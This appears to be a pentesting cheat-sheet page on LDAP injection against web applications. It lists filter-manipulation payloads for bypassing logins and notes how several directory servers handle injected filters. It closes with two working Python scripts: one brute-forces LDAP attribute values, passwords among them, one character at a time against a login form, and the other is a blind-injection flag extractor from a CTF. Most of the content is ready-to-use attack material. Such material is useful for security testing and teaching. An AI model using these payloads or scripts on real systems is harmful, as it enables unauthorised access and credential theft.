LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
For example:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))
You can access to the database, and this can content information of a lot of different types.
The backups of LDAP uses the extension ldif
OpenLDAP: If 2 filters arrive, only executes the first one.
ADAM or Microsoft LDS: With 2 filters they throw an error.
SunOne Directory Server 5.0: Execute both filters.
It is very important to send the filter with correct syntax or an error will be thrown. It is better to send only 1 filter.
The filter has to start with: & or |
Example: (&(directory=val1)(folder=public))
Then: (&(objectClass=*)(ObjectClass=*)) will be the first filter (the one executed).
Login Bypass
LDAP supports several formats to store the password: clear, md5, smd5, sh1, ssha, crypt. So, it could be that independently of what you insert inside the password, it is hashed.
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSO then the user is admin and the password check is True.
You can iterate over the ascii letters, digits and symbols:
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
(&(sn=administrator)(password=B*)) : KO
...
(&(sn=administrator)(password=M*)) : OK
(&(sn=administrator)(password=MA*)) : KO
(&(sn=administrator)(password=MB*)) : KO
...
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
Special Blind LDAP Injection (without "*")
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break